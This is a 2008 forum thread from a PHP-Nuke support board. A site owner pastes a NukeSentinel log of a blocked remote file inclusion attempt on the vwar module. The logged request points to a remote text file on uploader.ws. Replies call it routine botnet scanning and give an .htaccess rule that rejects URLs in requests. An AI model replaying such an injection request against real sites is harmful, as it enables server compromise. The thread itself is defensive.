how to block ip and port

Involved Joined: Apr 05, 2006 Posts: 263

i keep geting a certain medical site blocked which is great for sentinel and me Smile

the thing is i noticed its port number would change and then it would try again which im not worried as sentinel is saving me the work lol

but how do i stop my hotmail inbox geting spammed by the notices

ie: block the hack bot or whatever it is perminently using the IP and port.

or would it be easier for me to install the killer templates to kill there server lol

Posted: Mon Dec 15, 2008 9:39 am

this is the last one they used on me

Created By: NukeSentinel(tm) 2.6.01
Date & Time: 2008-12-14 16:42:09 GMT GMT +0000
Blocked IP: 64.18.142.194
User ID: Anonymous (1)
Reason: Abuse-Filter
--------------------
Referer: none
User Agent: Mozilla/5.0
HTTP Host: [ Only registered users can see links on this board! Get registered or login! ]
Script Name: /modules.php
Query String: name=vwar&file=war //modules/vwar/admin/admin.php?vwar_root=http://uploader.ws/upload/200812/FX29ID1.txt??
Get String: name=vwar&file=war //modules/vwar/admin/admin.php?vwar_root=http://uploader.ws/upload/200812/FX29ID1.txt??
Post String: Not Available
Forwarded For: none
Client IP: none
Remote Address: 64.18.142.194
Remote Port: 43622
Request Method: GET

Posted: Mon Dec 15, 2008 12:09 pm

Has the IP been added to the .htaccess file?

As long as the IP is blocked and doesn't change it should then be blocked by the server and not trigger Sentinel.

Posted: Mon Dec 15, 2008 11:06 pm

Note that these are standard automated attempts to hack your site. Botnets don't care if you have defense or not, or even if you are using the vulnerable script. They will attempt and move on. Things like the PC killer script won't generally work because they load nothing into a browser... they just point, shoot, and move on.

There are ways to block generic remote file injection attacks at the server level, but generally all sites have to live with it. There isn't anything you can do but keep your scripts up-to-date and secure.

Worker Joined: Aug 26, 2007 Posts: 236

This in .htaccess should stop these hack attempts prior Sentinel and thus stop e-mails:

RewriteEngine On

RewriteCond %{THE_REQUEST} .*http:\/\/.* [OR]
RewriteCond %{THE_REQUEST} .*http%3A%2F%2F.*
RewriteRule ^.* - [F]